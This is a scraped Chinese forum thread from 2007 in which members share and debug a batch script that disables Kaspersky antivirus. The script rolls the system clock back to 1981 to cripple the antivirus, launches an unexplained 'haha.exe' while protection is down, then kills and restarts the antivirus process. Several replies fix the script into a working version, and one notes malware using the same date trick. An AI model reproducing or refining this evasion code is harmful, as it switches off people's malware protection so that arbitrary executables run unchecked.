中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-06 06:03
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 绕过卡巴主动防御的批处理【新方法遇到疑问】 查看 2,162 回复 16
楼 主 绕过卡巴主动防御的批处理【新方法遇到疑问】 发表于 2007-06-29 12:32 ·  中国 浙江 电信
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
网上有个饶过卡巴主动防御的批处理,但是每次恢复日期后卡巴不能一下子快速反映回来,会没响应一分钟左右。

我想到用结束进程再恢复的方法来让它快速反映。

但是写批处理遇上个莫名其妙的问题。

先帖上代码




@echo off
tasklist|findstr /i "avp.exe" && (

set date=%date%
date 1981-01-01
ping -n 12 localhost > nul
haha.exe
date %date%
taskkill /f /t /im avp.exe
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
call %avpp%
goto exit
)

:exit
echo 结束
pause



问题是启动卡巴后无法执行后面的exit标号后的代码。

我郁闷的要死

请高人指点!!!!


[ Last edited by heicai on 2007-6-29 at 12:59 PM ]
2 发表于 2007-06-29 13:01 ·  中国 广东 广州 天河区 电信
高级用户
★★★
潜水修练批处理
积分 788
发帖 366
注册 2006-12-31 02:43
19年会员
UID 75048
性别 男
状态 离线
卡巴有驱动保护,taskkill命令是无法访问或者结束它的进程的,除非你的是绿色版之类的东西
正在潜水修练的批处理小白
3 发表于 2007-06-29 13:02 ·  中国 浙江 电信
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
Originally posted by dikex at 2007-6-29 01:01 PM:
卡巴有驱动保护,taskkill命令是无法访问或者结束它的进程的,除非你的是绿色版之类的东西



把时间改成1981年,再改回来。
这时卡巴就完全瘫痪了。用taskkill命令可以杀死进程!
4 发表于 2007-06-29 13:36 ·  中国 上海 联通
版主
★★★★★
积分 9,023
发帖 5,017
注册 2007-05-31 19:39
19年会员
UID 89899
性别 男
状态 离线
把call改成start
5 发表于 2007-06-29 13:39 ·  中国 浙江 电信
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
Originally posted by HAT at 2007-6-29 01:36 PM:
把call改成start



乱说,这样连卡巴都启动不起来了。
6 发表于 2007-06-29 13:47 ·  中国 广东 广州 天河区 电信
高级用户
★★★
潜水修练批处理
积分 788
发帖 366
注册 2006-12-31 02:43
19年会员
UID 75048
性别 男
状态 离线
注意用语

call调用后需要等待被调用的命令结束才会执行下一个命令的;
改为start可以,但如果路径有空格,直接改会出问题了;

start "" "路径" 参数
正在潜水修练的批处理小白
7 发表于 2007-06-29 13:53 ·  中国 浙江 电信
中级用户
★★
积分 385
发帖 156
注册 2007-01-19 02:32
19年会员
UID 76955
性别 男
状态 离线
%avpp%的环境变量内的路径是这样的"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 6.0\avp.exe"

麻烦楼上的告诉我start %avpp%具体该怎么写


[ Last edited by heicai on 2007-6-29 at 01:55 PM ]
8 发表于 2007-06-29 14:41 ·  中国 上海 联通
版主
★★★★★
积分 9,023
发帖 5,017
注册 2007-05-31 19:39
19年会员
UID 89899
性别 男
状态 离线
//乱说,这样连卡巴都启动不起来了。

要低调 要低调 ^_^
start命令是可以滴
9 发表于 2007-06-29 14:47 ·  中国 上海 联通
版主
★★★★★
积分 9,023
发帖 5,017
注册 2007-05-31 19:39
19年会员
UID 89899
性别 男
状态 离线
try this one :)

@echo off
set app=C:\test 1\my test\aa.bat
start "" "%app%"

aa.bat

@echo off
echo 我的目录有这么多空格,还是可以被start执行嘿嘿
pause


我的目录有这么多空格,还是可以被start执行嘿嘿
Press any key to continue . . .
10 发表于 2007-06-30 21:37 ·  中国 贵州 铜仁 电信
初级用户
积分 51
发帖 21
注册 2007-06-27 20:32
19年会员
UID 92534
性别 男
状态 离线
@echo off
tasklist|findstr /i "avp.exe" && (

set date=%date%
date 1981-01-01
ping -n 12 localhost > nul
haha.exe
date %date%
taskkill /f /t /im avp.exe
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
start "" %avpp%
goto exit
)

:exit
echo 结束
pause




换成这个就可以了~!
一直都很菜~!!!
11 发表于 2007-06-30 22:40 ·  中国 湖北 武汉 电信
新手上路
积分 16
发帖 6
注册 2006-11-08 13:49
19年会员
UID 70045
性别 男
状态 离线
还是不行啊,说什么没找到framedyn.dll,因此这个程序未能启动
12 发表于 2007-08-23 15:50 ·  中国 江苏 宿迁 电信
初级用户
★★
Batchs上議院參議長
积分 199
发帖 105
注册 2007-06-05 12:00
19年会员
UID 90300
性别 男
来自 江苏
状态 离线
你就知道 卡巴 没有考虑过你改时间的问题啊
省点时间抱抱猫,转转 论坛学习吧
『生如夏花之绚烂
死若秋叶之静美』 dos做到了
13 发表于 2007-08-23 19:07 ·  中国 山西 临汾 联通
中级用户
★★
积分 216
发帖 81
注册 2007-08-06 12:23
18年会员
UID 94721
性别 男
状态 离线
上次在网上见了一种病毒把时间一下改成2047年,卡巴斯基一下子就过期不能用啦这时它的自我保护功能就失效 啦,这时可以K掉它
14 发表于 2007-08-24 03:20 ·  中国 北京 中国科学院研究生院玉泉四公寓
银牌会员
★★★
积分 1,187
发帖 555
注册 2006-12-21 07:35
19年会员
UID 74129
性别 男
状态 离线
Originally posted by heicai at 2007-6-29 13:53:
%avpp%的环境变量内的路径是这样的"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 6.0\avp.exe"

麻烦楼上的告诉我sta ...


来个全盘搜索


for %%a in (c d e f) do (
for /f %%b in ('dir /s %%a:\avp.exe') do set avp-%%a=%%~fb
)

然后调用avp-%%a
这个简单
我就不写了

[ Last edited by scriptor on 2007-8-24 at 03:23 AM ]
15 发表于 2007-08-24 14:21 ·  中国 广东 中山 电信
初级用户
积分 128
发帖 16
注册 2007-01-26 04:00
19年会员
UID 77697
性别 男
状态 离线
汗一个..研究这个.不会是想做病毒吧??
不过.也学习啦.呵呵
改系统时间真的可以把卡巴K掉啊?
要试验下了
论坛跳转: